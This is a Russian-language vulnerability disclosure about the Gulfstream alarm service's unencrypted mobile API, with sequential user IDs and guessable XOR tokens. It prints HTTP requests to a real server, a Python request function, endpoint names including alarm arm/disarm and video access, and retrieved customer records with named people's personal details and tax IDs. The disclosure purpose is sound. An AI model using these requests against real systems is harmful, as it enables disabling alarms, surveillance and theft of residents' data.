Данная публикация носит исключительно информационный характер и призвана обратить внимание руководства крупного российского оператора систем охранной сигнализации "ГОЛЬФСТРИМ Охранные Системы" (далее — ГОЛЬФСТРИМ) на наличие уязвимости информационной системы, ставящей под удар защиту и безопасность граждан, а также федеральных органов исполнительной власти, доверивших защиту своего имущества данной компании.
ВНИМАНИЕ: Рекомендуем читать текст под музыку группы Каста-Скрепы, очень помогает глубже понять всю безнадежность ситуации, описанной ниже...
Предисловие
В нелёгкое время "цифровой экономики" и властных попыток зарегулировать Интернет, хотелось бы внести свою скромную лепту в совершенствование этого Мира и осветить отношение к ИБ со стороны одной частной компании. В нашей публикации мы покажем, как компания ГОЛЬФСТРИМ продемонстрировала свое наплевательское отношение к данному вопросу подставив тем самым не только рядовых пользователей-граждан, но также и органы исполнительной власти.
Некоторое время назад в распоряжении компании "Expocod" оказалась информация о наличии серьёзной уязвимости в информационной системе компании "ГОЛЬФСТРИМ". По имеющимся у нас достоверным данным, уязвимость позволяет получить доступ к персональным данным пользователей системы охранной сигнализации, а также осуществить удалённое управление состоянием сигнализации огромного количества объектов.
С момента получения данной информации нами предпринимались неоднократные попытки связаться с руководством компании "ГОЛЬФСТРИМ", однако до настоящего времени ни одна из таких попыток не увенчалась успехом (4 электронных письма, 3 телефонных звонка, сообщения в Telegram, визит в офис и очное общение с представителями компании). Учитывая то, что компания "Expocod" ставит своей задачей повышение общего уровня информационной безопасности в России, а также факты игнорирования представителями компании "ГОЛЬФСТРИМ" наших многочисленных сигналов, было принято решение о публикации имеющейся в нашем распоряжении информации в СМИ с раскрытием общих технических подробностей.
Общая информация о компании "ГОЛЬФСТРИМ Охранные Системы"
Исходя из информации, представленной на официальном сайте компании, группа компаний ГОЛЬФСТРИМ работает на рынке охраны без малого 23 года. Реклама с официального сайта гласит, что 23 года работы ГОЛЬФСТРИМ это (цитируем): «решения проверенные временем, 75 тысяч клиентов, качество на каждом этапе, квалификация персонала...».
Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:
- ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ СЛУЖБА ОХРАНЫ"
ОГРН/ИНН 1107746777380/7715829624
Дата регистрации 23.09.2010
Уставный капитал 250000р
Генеральный директор ИВАНОВ АЛЕКСЕЙ ВЛАДИМИРОВИЧ (ИНН 504008784580)
Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 100%) - ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ ОХРАННЫЕ СИСТЕМЫ"
ОГРН/ИНН 1097746799875/7715787653
Дата регистрации 14.12.2009
Уставный капитал 250000р
Генеральный директор САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ
Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 99%), САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ (доля 1%)
Итак, открытые источники подсказывают, что владельцем (и председателем совета директоров) компании "ГОЛЬФСТРИМ" является некто Письман Вениамин Фоневич (ИНН 771805121540):
Пользуясь возможностью, передаём пламенный привет Вениамину Фоневичу и просим обратить внимание на действия или бездействия сотрудников его компании которые, будучи информированными задолго до выхода в свет данного материала не предприняли решительно никаких попыток отреагировать.
Переходя непосредственно к технической части нашего повествования, стоит ещё раз особо отметить, что компания "Expocod" располагает достоверной информацией о наличии уязвимости. Однако, ввиду того что данная уязвимость была обнаружена независимым исследователем безопасности, мы располагаем лишь частичными подробностями и не располагаем данными, которые могли были получены с использованием данной уязвимости. По договорённости с автором и с его разрешения мы публикуем технические подробности без указания важных деталей, знание которых необходимо для успешной эксплуатации.
Описание уязвимости
Уязвимость существует в протоколе взаимодействия мобильного приложения (МП) с центром управления (ЦУ). На момент публикации, исследованным является протокол обмена между приложением для iOS (последняя версия приложения от 29/06/2017). Протокол представляет собой REST-подобный интерфейс, построенный поверх HTTP. Запросы к ЦУ имеют следующий формат:
POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ userID: [userID], userToken: [userToken] }
Первое, что бросается в глаза — отсутствие какого-либо шифрования данных. То есть обмен критичной информацией между МП и ЦУ осуществляется по открытому каналу связи без какой-либо защиты от пассивного прослушивания! Не используется также и технология certificate pinning, которая могла бы способствовать защите от MiTM атак на канал управления. В нашем случае протокол легко анализируется с помощью приложения mitmproxy, использовать который может даже школьник (а ведь приложение управления сигнализацией создано для серьезных вещей).
Следующий шаг следует вероятно начать с описания таких параметров как userID
и userToken
. Очевидно, что userID
представляет собой идентификатор пользователя мобильного приложения, тогда как userToken
— токен, позволяющий данному пользователю получить доступ к функциям системы. Рассмотрим подробнее функцию регистрации пользователя в системе:
POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1
Accept: */*,
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: keep-alive
Content-Type: application/json
Proxy-Connection: keep-alive
User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
{ contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }
Данная функция осуществляет регистрацию МП в системе. Параметрами регистрации являются номер договора и уникальный идентификатор устройства. Ниже представлены ответы системы на попытки регистрации нового устройства для одного и того же договора с разными значениями deviceToken
:
deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}
deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}
Как видно, ответом на запрос является JSON-структура, содержащая в том числе поля userID
и userToken
. Кроме того, в ответе есть частично скрытый номер телефона владельца контракта. Также можно видеть, что в данный момент в системе около 72 тысяч пользователей (или попыток регистрации МП, т.к. каждая попытка с новым deviceToken
выдаёт новый "уникальный" userID
).
Однако самым удивительным открытием является следующее: номера userID
выдаются последовательно, а в структуре токена userToken
прослеживается некая закономерность… Можно предположить, что userToken
каким-то образом зависит от userID
, то есть userToken = f(userID)
. Но что это за функция?
Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!
Таким образом, зная диапазон значений userID
(0..72k) и функцию, по которой вычислять userToken
, можно получить доступ, например, к следующим REST API системы:
GulfstreamWebServices/rest/profile/updateUserDeviceToken
GulfstreamWebServices/rest/profile/getCustomerDetails
GulfstreamWebServices/rest/profile/getCustomerProfileImage
GulfstreamWebServices/rest/panel/getEstimateArmState
GulfstreamWebServices/rest/panel/setArmState
GulfstreamWebServices/rest/panel/getEventHistory
GulfstreamWebServices/rest/panel/getNotifications
GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
GulfstreamWebServices/rest/panel/getNotificationState
GulfstreamWebServices/rest/panel/getRemoteTags
GulfstreamWebServices/rest/panel/updateRemoteTagState
GulfstreamWebServices/rest/panel/getVideo
GulfstreamWebServices/rest/panel/getAllVideos
GulfstreamWebServices/rest/panel/getPanelCameraList
Представленный список отнюдь не является полным. В совокупности с возможностью перебора идентификации пользователей можно получить полную базу данных объектов охраны. Так, например, ниже представлена python-функция, запрашивающая информацию о пользователе:
def gs_api_get_customer_details(u, t):
r = s.post(
'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
headers = {
'Accept': '*/*',
'Accept-Encoding': 'gzip, '
'deflate',
'Accept-Language': 'en-us',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Proxy-Connection': 'keep-alive',
'User-Agent': 'SecurityApp/190 '
'CFNetwork/811.5.4 '
'Darwin/16.7.0' },
json = {
'userID': u,
'userToken': t
}
)
return r.json()
Проверим, что можно получить используя API profile/getCustomerDetails
для пользователя с userID = 296
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': 'Письман Вениамин Фоневич', 'address': 'обл. Московская, р-н Одинцовский, д. Ж******, тер Ж******-21, уч. *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}
Как видно, адрес объекта (скрыт намеренно) принадлежит НП "Жуковка-21", соучредителем которого, по информации из открытых источников, является сам уважаемый Вениамин Фоневич:
Итак, некто с userID = 296
является до невозможности похожим на учредителя компании "ГОЛЬФСТРИМ". Информация, полученная ранее из публичных источников подтверждает подлинность этих данных.
Другим интересным методом API является panel/getVideo
. С его помощью можно получить видео с камер, установленных на объекте в случае, если сигнализация оборудована соответствующим оборудованием. Для примера посмотрим видео пользователя с userID = 70072
:
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': 'Тетовый Сахарный Андрей Инженерович', 'address': 'г. Москва, ул. Бутырская, д. 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': 'Мой дом', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}
Вероятно, данный объект представляет собой офис компании "ГОЛЬФСТРИМ".
Ещё одной интересной функцией является функция запроса информации о бесконтактных ключах: panel/getRemoteTags
. С оборудованных бесконтактными ключами объектов можно получить информацию не только о серийных номерах ключей (что даст возможность сделать дубликат ключа), но также и отключить те или иные ключи, а также заменить их серийные номера. Следующая картинка демонстрирует использование mitmproxy и отображает серийники ключей для тестового стенда, расположенного в офисе компании (всё тот же userID = 70072
, Паше и Коле — привет):
Ну и в завершении отметим, что помимо запроса информации с объектов данный протокол позволяет управлять состоянием сигнализации. Используя panel/setArmState
можно включить и выключить сигнализацию на любом из 70 тысяч объектов не вставая с дивана. Занавес.
Основные выводы
Подводя итог нашему сумбурному изложению отметим, что в системе управления сигнализацией, разработанной компанией "ГОЛЬФСТРИМ", существуют ошибки, позволяющие как минимум:
- получать информацию о пользователях системы и объектах, где установлена данная сигнализация
- удалённо управлять сигнализацией — включать и отключать
- удалённо управлять бесконтактными ключами, включая возомжность добавления своих ключей или отключения существующий
- удалённо получать доступ к информации с камер наблюдения
Мы честно пытались довести данную информацию до представителей компании ГОЛЬФСТРИМ, а также до её руководства в течение без малого 2-х месяцев с момента получения нами данной информации. До настоящего времени данная ошибка НЕ исправлена. Можно только предположить, кто, как и в каких целях мог её использовать...
Резонно возникает вопрос — если учредитель компании доверяет охрану свого дома ГОЛЬФСТРИМу, то может ли это являться примером для подражания обычным гражданам, желающим "иметь право на безопасность"?
Наш ответ — НЕТ!
Также занимательно, что в числе объектов охраны ГОЛЬФСТРИМа есть объекты ФСО и УДП, расположенные на Рублево-Успенском шоссе, а также важные коммунальные госкомпании...
Интересно будет ли доволен директор ФСО Кочнев Д.В., узнав что на ряд ведомственных объектов можно пробраться кликнув мышкой? Впрочем добраться ему до господина Письмана и призвать к ответу за халатность, живущего судя по записям (ведь он же патриот собственной системы) рядышком в Жуковке, легко и просто – буквально рукой подать, а еще лучше прислать черный воронок.
P.S. Отдельно стоит отметить стиль общения СБ Гольфстрима и его сотрудников — то самое слово на г. в заголовке, которое первое приходит на ум после разговора (запись имеется).
P.S.S. 27 сентября 2017 года, утро. Рады что удалось донести до руководства компании данную проблему, существующую около 2-х лет (время выхода мобильного приложения). На данный момент сервера компании отключены — логичный ход мысли, нет сервера — нет уязвимости (по крайней мере этой..)